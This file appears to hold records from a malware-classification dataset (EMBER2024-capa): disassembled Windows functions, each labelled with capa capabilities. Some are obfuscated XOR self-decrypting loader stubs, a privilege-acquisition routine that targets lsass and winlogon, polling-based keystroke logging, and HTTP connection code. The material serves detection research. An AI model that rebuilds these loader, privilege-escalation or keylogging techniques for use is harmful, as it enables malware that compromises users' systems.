joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100019e1
Capabilities:
Get common file path

Disassembly:
push 0x14
mov eax, 0x1001d960
call fcn.10004980
mov ebx, dword [ebp + 8]
xor edi, edi
xor eax, eax
mov dword [ebp - 4], edi
mov esi, edi
mov dword [ebp - 0x14], esi
mov word [ebx], ax
call fcn.100018f8
test eax, eax
je 0x10001a12
call fcn.100018ea
mov esi, eax
mov dword [ebp - 0x14], eax
push 0x104
push ebx
push esi
push edi
push 0x10021c18
call dword [sym.imp.SHELL32.dll_SHGetFolderPathEx]
mov esi, eax
test esi, esi
js 0x10001b28
jmp 0x10001a62
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x10001a70
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
or dword [ebp - 4], 0xffffffff
test esi, esi
jns 0x10001b20
push ebx
push edi
push edi
push 0x1a
push edi
mov dword [ebp - 4], 2
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov esi, eax
test esi, esi
jns 0x10001ad1
push esi
push str.Error:_08x_in_SHGetFolderPathW_NULL__CSIDL_APPDATA__NULL__0__pPath_
jmp 0x10001b2e
or dword [ebp - 4], 0xffffffff
test esi, esi
jns 0x10001b20
push 1
push 0x1a
push ebx
push edi
mov dword [ebp - 4], 4
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov esi, eax
test esi, esi
jns 0x10001b20
push esi
push str.Error:_08x_in_SHGetSpecialFolderPathW_NULL__pPath__CSIDL_APPDATA__TRUE_
jmp 0x10001b2e
mov eax, esi
call fcn.10004937
ret
push esi
push str.Error:_08x_in_SHGetFolderPathEx_FOLDERID_LocalAppDataLow__0__hToken__pPath__MAX_PATH_
call fcn.10003d44
pop ecx
pop ecx
push edi
push esi
call fcn.10018f6f
int3

Function at 0x10002445
Capabilities:
Query environment variable

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 8], esi
je 0x10002469
push dword [esp + 0xc]
push dword [esp + 0xc]
push str.USER_JPI_PROFILE
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
xor ecx, ecx
inc ecx
test eax, eax
cmovne esi, ecx
mov eax, esi
pop esi
ret
Function at 0x100030b4
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x108]
sub esp, 0x108
push 0xffffffffffffffff
push 0x1001d9bb
mov eax, dword fs:[0]
push eax
sub esp, 0x10
mov eax, dword [0x1002a034]
xor eax, ebp
mov dword [ebp + 0x104], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x1001ec0c
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.10018f6f
add esp, 0xc
test eax, eax
jne 0x100031a9
push dword [ebp - 0x18]
call fcn.10018f6f
cmp dword [0x1002aa80], 0
pop ecx
je 0x10003122
xor eax, eax
inc eax
jmp 0x100031ab
lea eax, [ebp]
mov esi, 0x104
push eax
push esi
call dword [sym.imp.kernel32.dll_GetTempPathA]
cmp eax, esi
ja 0x100031a9
test eax, eax
je 0x100031a9
lea eax, [ebp]
push eax
lea ecx, [ebp - 0x10]
call fcn.1000330b
and dword [ebp - 4], 0
lea ecx, [ebp - 0x14]
push str.JavaDeployReg.log
call fcn.1000330b
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 1
push eax
lea ecx, [ebp - 0x10]
call fcn.100033d2
mov ecx, dword [ebp - 0x14]
mov byte [ebp - 4], 0
test ecx, ecx
je 0x10003177
call fcn.100037d1
push 0x1001ec38
lea ecx, [ebp - 0x10]
call fcn.100033b4
push eax
push 0x1002aa80
call fcn.10018f6f
mov ecx, dword [ebp - 0x10]
add esp, 0xc
mov esi, eax
neg esi
sbb esi, esi
test ecx, ecx
je 0x100031a4
call fcn.100037d1
lea eax, [esi + 1]
jmp 0x100031ab
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp + 0x104]
xor ecx, ebp
call fcn.10004926
add ebp, 0x108
leave
ret

Function at 0x10003656
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x11c
mov eax, dword [0x1002a034]
xor eax, esp
mov dword [esp + 0x118], eax
push ebx
mov ebx, dword [esp + 0x124]
push ebp
push esi
push edi
mov edi, ecx
xor ebp, ebp
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], ebp
mov dword [esp + 0x18], ebp
mov dword [esp + 0x1c], ebp
mov eax, dword [edi + 4]
or eax, 0x2001f
push eax
push ebx
push dword [edi]
call fcn.10018f6f
mov esi, eax
test esi, esi
jne 0x10003705
lea eax, [esp + 0x20]
push eax
push ebp
push ebp
push ebp
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x3c]
push eax
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
jmp 0x100036e0
lea eax, [esp + 0x28]
push eax
call fcn.10003656
mov esi, eax
test esi, esi
jne 0x10003705
lea eax, [esp + 0x20]
xor ecx, ecx
push eax
push ecx
push ecx
push ecx
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x3c]
push eax
push ecx
push dword [esp + 0x30]
mov dword [esp + 0x30], pe_nt_image_headers32
call ebp
lea ecx, [esp + 0x14]
test eax, eax
je 0x100036bb
call fcn.1000342b
push ebx
mov ecx, edi
call fcn.10003445
mov esi, eax
lea ecx, [esp + 0x14]
call fcn.1000342b
mov ecx, dword [esp + 0x128]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.10004926
add esp, 0x11c
ret 4
Function at 0x10003bc2
Capabilities:
Print debug messages

Disassembly:
sub esp, 0x824
mov eax, dword [0x1002a034]
xor eax, esp
mov dword [esp + 0x820], eax
push ebx
push ebp
mov ebp, dword [esp + 0x830]
lea eax, [esp + 0x428]
push esi
mov esi, dword [esp + 0x838]
xor ebx, ebx
push edi
mov edi, 0x400
push edi
push ebx
push eax
call fcn.10005d80
push esi
push ebx
push ebp
push 0xffffffffffffffff
lea eax, [esp + 0x44c]
push edi
push eax
call fcn.10018f6f
movzx ecx, byte [esp + 0x853]
lea edi, [esp + 0x34]
xor edx, edx
test eax, eax
push 8
cmovs ecx, edx
xor eax, eax
mov byte [esp + 0x857], cl
pop ecx
rep stosd dword es:[edi], eax
lea eax, [esp + 0x34]
push 0x20
push eax
call fcn.10018f6f
push 0x10021be8
lea eax, [esp + 0x40]
push 0x20
push eax
call fcn.10018f6f
push 0x400
lea eax, [esp + 0x6c]
push ebx
push eax
call fcn.10005d80
mov ecx, ebp
add esp, 0x44
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10003c67
sub ecx, edx
cmp ecx, 6
jbe 0x10003c8e
lea eax, [ebp - 6]
add eax, ecx
push str.__08x_
push eax
call fcn.10018f6f
pop ecx
pop ecx
test eax, eax
jne 0x10003c8e
xor ebx, ebx
inc ebx
lea esi, [esp + 0x10]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x10003c95
sub esi, ecx
lea eax, [esp + 0x430]
push eax
mov ecx, 0x10020533
test ebx, ebx
mov eax, str.Error:
cmove eax, ecx
push eax
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.kernel32.dll_GetCurrentProcessId]
push eax
push str.P:_04d_T:_04d__s_s
mov eax, 0x3ff
sub eax, esi
push 0xffffffffffffffff
push eax
lea eax, [esp + 0x4c]
add eax, esi
push eax
call fcn.10018f6f
mov ecx, dword [esp + 0x44b]
test eax, eax
push esi
lea eax, [esp + 0x34]
mov edx, 0x2e2e2e
push eax
lea eax, [esp + 0x58]
cmovs ecx, edx
push eax
mov dword [esp + 0x457], ecx
call fcn.10005800
lea edi, [esp + 0x5c]
add esp, 0x2c
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10003d0f
mov ax, word [0x10021c14]
mov word [edi], ax
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringA]
mov ecx, dword [esp + 0x830]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.10004926
add esp, 0x824
ret
Function at 0x10018f6f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x10018f7e
pop dword [ebp - 0x48]
mov eax, 0xc0a60ab4
add eax, 0x4f5b84ca
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0xe9887158
sub dword [ebp - 0x58], 0x9b362c0d
mov dword [ebp - 0x54], 0x68f8d53f
sub dword [ebp - 0x54], 0x36c588fa
mov dword [ebp - 0x50], 0x35a77153
add dword [ebp - 0x50], 0x16a4d2db
mov dword [ebp - 0x4c], 0xbd9907b5
sub dword [ebp - 0x4c], 0xbd9907b5
lea eax, [ebp - 0x58]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x6d3a76f3
sub dword [ebp - 0x58], 0xf8c80d9d
mov dword [ebp - 0x54], 0xf734e3e8
sub dword [ebp - 0x54], 0xb5c88273
mov dword [ebp - 0x50], 0x793aa602
sub dword [ebp - 0x50], 0x15cb3996
mov dword [ebp - 0x4c], 0x6f1c825b
add dword [ebp - 0x4c], 0x90e37da5
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0x674067e0
sub eax, 0x573e875c
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x41ace
push 0
call eax
mov ecx, 0x5997
mov esi, eax
mov edi, 0x10035800
add edi, dword [ebp - 0x48]
mov edx, 0x1c47321c
sub dword [ebp - 0xc], 0x16a375ab
mov ebx, dword [edi]
xor dword [ebp - 0x14], edx
sub ebx, edx
xor dword [ebp - 0x44], esi
mov dword [esi], ebx
add esi, 0x4f5f13e3
sub esi, 0x4f5f13df
add edi, 0xa7ba77c5
sub edi, 0xa7ba77c1
loop 0x10019089
add eax, 0x9cf0bb39
add eax, 0x63109df6
mov ebx, eax
add eax, 0xd16674d6
sub eax, 0xd16674d1
mov ecx, 0x10000000
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x401c66
pop dword [ebp - 0x50]
mov eax, 0x401c66
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0xc89ebf14
add dword [ebp - 0x60], 0x85b38637
mov dword [ebp - 0x5c], 0xce9cefcb
sub dword [ebp - 0x5c], 0x9c69a386
mov dword [ebp - 0x58], 0x34073cd7
add dword [ebp - 0x58], 0x18450757
mov dword [ebp - 0x54], 0x5cbb865a
sub dword [ebp - 0x54], 0x5cbb865a
lea eax, [ebp - 0x60]
push eax
mov eax, 0x823de8c4
add eax, 0x7e024790
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0xcadb114
sub dword [ebp - 0x60], 0x983b47be
mov dword [ebp - 0x5c], 0xed291c69
add dword [ebp - 0x5c], 0x5443450c
mov dword [ebp - 0x58], 0x77fb8129
sub dword [ebp - 0x58], 0x148c14bd
mov dword [ebp - 0x54], 0x3bb628af
add dword [ebp - 0x54], 0xc449d751
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x37262
push 0
call eax
mov ecx, 0x76304ce8
sub ecx, 0x7630023c
xor esi, esi
add esi, eax
mov edi, 0x23b777f8
sub edi, 0x237707f8
add edi, dword [ebp - 0x50]
mov edx, 0x915bdd84
sub edx, 0x2c7d0abd
mov ebx, dword [edi]
xor dword [ebp - 0x10], 0x7fd3442e
add ebx, edx
sub dword [ebp - 0x34], edx
mov dword [esi], ebx
add esi, 0xbcc473ee
add esi, 0x433b8c16
add edi, 0x263ac8c8
sub edi, 0x263ac8c4
loop 0x401d80
add eax, 0x84e44ef6
sub eax, 0x84e33173
mov ebx, eax
add eax, 0x10ffc705
add eax, 0xef003900
mov ecx, 0x400000
add ecx, dword [ebp - 0x50]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret
Function at 0x429be6
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x42bca8
mov eax, dword fs:[0]
push eax
sub esp, 0x258
mov eax, dword [0x439e00]
xor eax, esp
mov dword [esp + 0x250], eax
push ebx
push esi
push edi
mov eax, dword [0x439e00]
xor eax, esp
push eax
lea eax, [esp + 0x268]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
xor ebx, ebx
mov dword [esp + 0x28], eax
mov dword [esp + 0x18], 0x4335b8
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x270], ebx
call dword [0x42d304]
lea ecx, [esp + 0x14]
push ecx
push 0x28
push eax
call dword [0x42d030]
test eax, eax
je 0x429cc0
mov eax, dword [esp + 0x18]
lea ecx, [esp + 0x18]
call dword [eax + 4]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x1c], eax
push str.SeDebugPrivilege
lea eax, [esp + 0x1c]
push eax
call fcn.004029b3
push str.SeTakeOwnershipPrivilege
lea eax, [esp + 0x1c]
push eax
call fcn.004029b3
push str.SeSecurityPrivilege
lea eax, [esp + 0x1c]
push eax
call fcn.004029b3
push str.SeUndockPrivilege
lea eax, [esp + 0x1c]
push eax
call fcn.004029b3
push str.SeLoadDriverPrivilege
lea eax, [esp + 0x1c]
push eax
call fcn.004029b3
push 0x228
lea eax, [esp + 0x34]
push ebx
push eax
mov dword [esp + 0x38], 0x22c
call fcn.00413bc0
add esp, 0xc
push ebx
push 2
call fcn.00425bce
or edi, 0xffffffff
mov dword [esp + 0x14], eax
cmp eax, edi
je 0x429d9e
lea eax, [esp + 0x2c]
push eax
push dword [esp + 0x18]
call fcn.00425bd4
jmp 0x429d8c
cmp dword [esp + 0x34], ebx
je 0x429d7e
lea eax, [esp + 0x50]
push eax
call dword [0x42d378]
mov esi, eax
push str.smss.exe
push esi
call fcn.0042a68d
pop ecx
pop ecx
test al, al
jne 0x429d6d
push str.csrss.exe
push esi
call fcn.0042a68d
pop ecx
pop ecx
test al, al
jne 0x429d6d
push str.lsass.exe
push esi
call fcn.0042a68d
pop ecx
pop ecx
test al, al
jne 0x429d6d
push str.services.exe
push esi
call fcn.0042a68d
pop ecx
pop ecx
test al, al
jne 0x429d6d
push str.winlogon.exe
push esi
call fcn.0042a68d
pop ecx
pop ecx
test al, al
je 0x429d7e
push dword [esp + 0x34]
mov eax, dword [esp + 0x2c]
call fcn.00429b71
test eax, eax
jne 0x429db0
lea eax, [esp + 0x2c]
push eax
push dword [esp + 0x18]
call fcn.00425bda
test eax, eax
jne 0x429d05
push dword [esp + 0x14]
call dword [0x42d2e8]
mov esi, dword [esp + 0x28]
push 2
push 0x9c
call fcn.00426bcb
jmp 0x429db3
xor ebx, ebx
inc ebx
lea ecx, [esp + 0x18]
mov dword [esp + 0x18], 0x4335b8
call fcn.00402a8a
mov eax, ebx
mov ecx, dword [esp + 0x268]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x250]
xor ecx, esp
call fcn.004128d2
mov esp, ebp
pop ebp
ret 4
Function at 0x1000615c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x1000616b
pop dword [ebp - 0x48]
mov eax, 0x13739c3c
sub eax, 0x3733ad1
sub dword [ebp - 0x48], eax
push 0x40
push 0x1000
push 0x3a4aa
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x48]
call dword [eax]
mov ecx, 0xfcd7f7b0
add ecx, 0x328513d
xor edx, edx
add edx, eax
mov edi, 0x51eeb890
add edi, 0xbe138b70
add edi, dword [ebp - 0x48]
mov esi, 0xcce2bc26
add esi, 0xbcff43dc
mov ebx, dword [edi]
add dword [ebp - 0xc], 0xeb6fe1b9
xor ebx, esi
mov dword [edx], ebx
mov dword [ebp - 0x20], 0xd5787c4a
add edx, 0x64c23830
add edx, 0x9b3dc7d4
add edi, 4
loop 0x100061c7
add eax, 0x11687
mov ebx, eax
add eax, 0x6238955b
sub eax, 0x62389556
mov ecx, 0xb02dc165
add ecx, 0x5fd23e9b
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x1002fac0
Capabilities:
Hash data using fnv
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x101530b0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0x10], 0x102
push esi
mov esi, dword [ebp + 0x24]
mov dword [ebp - 0x210], esi
mov dword [esi], 1
je 0x1002fbc7
push ebx
mov ebx, dword [ebp + 0x14]
push 0x10
mov dword [ebp - 0x208], ebx
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x1002fb13
or ebx, 0x10000
mov dword [ebp - 0x208], ebx
push 0x11
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x1002fb2c
or ebx, 0x20000
mov dword [ebp - 0x208], ebx
push 0x12
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x1002fb45
or ebx, 0x40000
mov dword [ebp - 0x208], ebx
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1015ba8c]
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x1015c500]
cmp eax, dword [ecx + 4]
jg 0x1002fbda
movzx eax, bl
xor eax, 0x811c9dc5
imul ecx, eax, 0x1000193
movzx eax, bh
xor ecx, eax
movzx eax, byte [ebp - 0x206]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [ebp - 0x205]
imul edx, ecx, 0x1000193
mov ecx, 0x1015c4e0
xor edx, eax
imul eax, edx, 0x1000193
push eax
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x214]
push eax
call fcn.100b60a0
pop ebx
mov eax, dword [eax + 4]
test eax, eax
je 0x1002fbc7
cmp eax, dword [0x1015c4e4]
je 0x1002fbc7
mov dword [esi], 0
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.1000551e
mov esp, ebp
pop ebp
ret 0x20
push 0x1015c500
call fcn.100b60a0
add esp, 4
cmp dword [0x1015c500], 0xffffffff
jne 0x1002fb61
push edi
mov dword [ebp - 0x20c], 0
lea edi, [ebp - 0x204]
mov dword [ebp - 0x20c], 0
mov ecx, 0x80
mov eax, dword [ebp - 0x20c]
mov esi, 0x1010f410
rep movsd dword es:[edi], dword [esi]
mov dword [0x1015c4e0], eax
mov dword [0x1015c4e4], 0
mov dword [0x1015c4e8], 0
push 0xc
lfence
call fcn.100b60a0
add esp, 4
mov ecx, 0x1015c4ec
mov dword [eax], eax
mov dword [eax + 4], eax
push eax
push 0x10
mov dword [0x1015c4e4], eax
mov dword [0x1015c4ec], 0
mov dword [0x1015c4f0], 0
mov dword [0x1015c4f4], 0
mov dword [0x1015c4f8], 7
mov dword [0x1015c4fc], 8
mov dword [0x1015c4e0], 0x3f800000
call fcn.100b60a0
lea eax, [ebp - 4]
mov ecx, 0x1015c4e0
push eax
lea eax, [ebp - 0x204]
push eax
call fcn.100b60a0
push 0x10102700
call fcn.100b60a0
push 0x1015c500
call fcn.100b60a0
mov esi, dword [ebp - 0x210]
add esp, 8
pop edi
jmp 0x1002fb61
Function at 0x100ab010
Capabilities:
Prepare http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, ecx
push esi
push edi
lea esi, [ebx + 0x30]
mov ecx, esi
call fcn.1004d0a0
movzx edi, al
mov ecx, esi
neg edi
sbb edi, edi
and edi, 0x800000
call fcn.1004d0a0
test al, al
je 0x100ab058
mov eax, dword [ebx]
push 0x800
push 0x54
mov esi, dword [eax + 0x28]
mov ecx, esi
call dword [0x1010452c]
mov ecx, ebx
call esi
lea esi, [ebx + 0x30]
push 0xd
mov ecx, ebx
call fcn.100b60a0
cmp dword [ebx + 0x40], 0
je 0x100ab0c3
lea eax, [ebp - 4]
mov ecx, esi
push eax
call fcn.100b60a0
push edi
push 0
push 0
push 0
push dword [eax]
push dword [ebx + 0x10]
push dword [ebx + 0x40]
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov ecx, dword [ebp - 4]
mov dword [ebx + 0x44], eax
add ecx, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [ecx + 0xc], eax
dec eax
test eax, eax
jg 0x100ab0b4
lfence
mov edi, dword [ecx]
push ecx
mov eax, dword [edi]
mov esi, dword [eax + 4]
mov ecx, esi
call dword [0x1010452c]
mov ecx, edi
call esi
cmp dword [ebx + 0x44], 0
je 0x100ab0ca
push 0xe
mov ecx, ebx
call fcn.100b60a0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
lea ecx, [ebp - 0x10]
call fcn.100b60a0
push 0x1013b7d0
lea eax, [ebp - 0x10]
push eax
call fcn.100b60a0
int3
Function at 0x100ab430
Capabilities:
Read http header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100fe9ee
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push esi
push edi
mov eax, dword [0x101530b0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 4], 1
call fcn.10002920
mov edi, eax
test edi, edi
je 0x100ab589
mov eax, dword [edi]
mov esi, dword [eax + 0xc]
mov ecx, esi
call dword [0x1010452c]
mov ecx, edi
call esi
mov edi, dword [ebp + 8]
add eax, 0x10
mov dword [edi], eax
push 0
lea eax, [ebp - 0x10]
mov dword [ebp - 4], 0
push eax
mov eax, dword [ebp + 0x10]
push 0
push eax
mov eax, dword [ebp + 0xc]
push eax
push dword [ebx + 0x44]
mov dword [ebp - 0x14], 1
call dword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x100ab569
mov esi, dword [ebp - 0x10]
cmp esi, 0xa00000
ja 0x100ab593
shr esi, 1
sub esi, 1
js 0x100ab57f
mov eax, dword [edi]
mov ecx, 1
sub ecx, dword [eax - 4]
mov eax, dword [eax - 8]
sub eax, esi
or ecx, eax
jge 0x100ab505
push esi
mov ecx, edi
lfence
call fcn.100b60a0
mov ecx, dword [edi]
cmp esi, dword [ecx - 8]
jg 0x100ab57f
mov dword [ecx - 0xc], esi
xor edx, edx
mov eax, dword [edi]
push edx
mov word [eax + esi*2], dx
lea eax, [ebp - 0x10]
push eax
push ecx
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebx + 0x44]
call dword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
mov ecx, dword [edi]
mov esi, eax
test ecx, ecx
je 0x100ab546
push dword [ecx - 8]
push ecx
call fcn.100b60a0
mov ecx, eax
add esp, 8
test ecx, ecx
js 0x100ab57f
mov eax, dword [edi]
cmp ecx, dword [eax - 8]
jg 0x100ab57f
mov dword [eax - 0xc], ecx
xor edx, edx
mov eax, dword [edi]
mov word [eax + ecx*2], dx
test esi, esi
jne 0x100ab569
push esi
push 0x1010644c
mov ecx, edi
call fcn.100b60a0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
push 0x80070057
call fcn.100b60a0
push 0x80004005
call fcn.100b60a0
push 0xcaa10024
lea ecx, [ebp - 0x20]
call fcn.100b60a0
push 0x1013fb60
lea eax, [ebp - 0x20]
push eax
call fcn.100b60a0
int3
Function at 0x100ab5b0
Capabilities:
Receive http response

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100fea1d
mov eax, dword fs:[0]
push eax
sub esp, 0x24
push ebx
push esi
push edi
mov eax, dword [0x101530b0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x18], eax
mov edi, dword [ebp + 8]
lea esi, [eax + 0x14]
mov eax, dword [esi + 4]
sub eax, dword [esi]
add edi, eax
mov dword [ebp - 0x1c], eax
cmp edi, 0xa00000
jg 0x100ab6d7
lfence
mov ebx, dword [esi + 4]
mov ecx, ebx
mov edx, dword [esi]
sub ecx, edx
mov byte [ebp - 0xd], 0
cmp edi, ecx
jae 0x100ab615
lea eax, [edx + edi]
mov dword [esi + 4], eax
jmp 0x100ab646
jbe 0x100ab646
mov eax, dword [esi + 8]
sub eax, edx
cmp edi, eax
jbe 0x100ab631
lea eax, [ebp - 0xd]
mov ecx, esi
push eax
push edi
lfence
call fcn.100b60a0
jmp 0x100ab646
sub edi, ecx
je 0x100ab643
push edi
push 0
push ebx
call fcn.100075c0
add esp, 0xc
add ebx, edi
mov dword [esi + 4], ebx
mov eax, dword [esi]
lea ecx, [ebp - 0x14]
mov edi, dword [ebp - 0x1c]
add eax, edi
push ecx
push dword [ebp + 8]
mov dword [ebp - 0x14], 0
push eax
mov eax, dword [ebp - 0x18]
push dword [eax + 0x44]
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x100ab6f2
mov ebx, dword [esi + 4]
mov ecx, ebx
mov edx, dword [esi]
sub ecx, edx
add edi, dword [ebp - 0x14]
cmp edi, ecx
jae 0x100ab688
lea eax, [edx + edi]
mov dword [esi + 4], eax
jmp 0x100ab6b9
jbe 0x100ab6b9
mov eax, dword [esi + 8]
sub eax, edx
cmp edi, eax
jbe 0x100ab6a4
lea eax, [ebp - 0xd]
mov ecx, esi
push eax
push edi
lfence
call fcn.100b60a0
jmp 0x100ab6b9
sub edi, ecx
je 0x100ab6b6
push edi
push 0
push ebx
call fcn.100075c0
add esp, 0xc
add ebx, edi
mov dword [esi + 4], ebx
mov ecx, dword [ebp - 0x18]
push 0xa
call fcn.100b60a0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0xcaa10024
lea ecx, [ebp - 0x28]
call fcn.100b60a0
push 0x1013fb60
lea eax, [ebp - 0x28]
push eax
call fcn.100b60a0
push 0x1010644c
lea ecx, [ebp - 0x1c]
call fcn.100b60a0
mov esi, eax
mov dword [ebp - 4], 0
call dword [sym.imp.kernel32.dll_GetLastError]
push esi
push eax
lea ecx, [ebp - 0x30]
call fcn.100b60a0
push 0x10140a54
lea eax, [ebp - 0x30]
push eax
call fcn.100b60a0
int3
Function at 0x100abb80
Capabilities:
Connect to http server

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100feaad
mov eax, dword fs:[0]
push eax
sub esp, 0x30
push ebx
push esi
push edi
mov eax, dword [0x101530b0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
lea ecx, [ebx + 0x30]
mov dword [ebx + 4], ebx
call fcn.1004d2a0
test eax, eax
jne 0x100abbbd
xor edi, edi
jmp 0x100abbc7
lea ecx, [ebx + 0x30]
call fcn.1004d2a0
mov edi, eax
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebx + 0x30]
call fcn.100b60a0
mov esi, dword [eax]
mov ecx, 0x1015c6a0
movzx eax, byte [ebx + 0x3d]
push eax
mov dword [ebp - 4], 0
call fcn.100b60a0
push 0
push 0
push 3
push 0
push 0
push edi
push esi
push eax
call dword [sym.imp.WININET.dll_InternetConnectW]
mov ecx, dword [ebp - 0x10]
mov dword [ebx + 0x48], eax
add ecx, 0xfffffff0
mov dword [ebp - 4], 0xffffffff
or eax, 0xffffffff
lock xadd dword [ecx + 0xc], eax
dec eax
test eax, eax
jg 0x100abc32
lfence
mov edi, dword [ecx]
push ecx
mov eax, dword [edi]
mov esi, dword [eax + 4]
mov ecx, esi
call dword [0x1010452c]
mov ecx, edi
call esi
mov eax, dword [ebx + 0x48]
test eax, eax
je 0x100abc65
push 0x100ac440
push eax
call dword [sym.imp.WININET.dll_InternetSetStatusCallbackW]
cmp eax, 0xffffffff
je 0x100abc99
push 2
mov ecx, ebx
call fcn.100b60a0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x1010644c
lea ecx, [ebp - 0x10]
call fcn.100b60a0
mov esi, eax
mov dword [ebp - 4], 1
call dword [sym.imp.kernel32.dll_GetLastError]
push esi
push eax
lea ecx, [ebp - 0x28]
call fcn.100b60a0
push 0x10140a54
lea eax, [ebp - 0x28]
push eax
call fcn.100b60a0
push 0x1010644c
lea ecx, [ebp - 0x14]
call fcn.100b60a0
mov esi, eax
mov dword [ebp - 4], 2
call dword [sym.imp.kernel32.dll_GetLastError]
push esi
push eax
lea ecx, [ebp - 0x3c]
call fcn.100b60a0
push 0x10140a54
lea eax, [ebp - 0x3c]
push eax
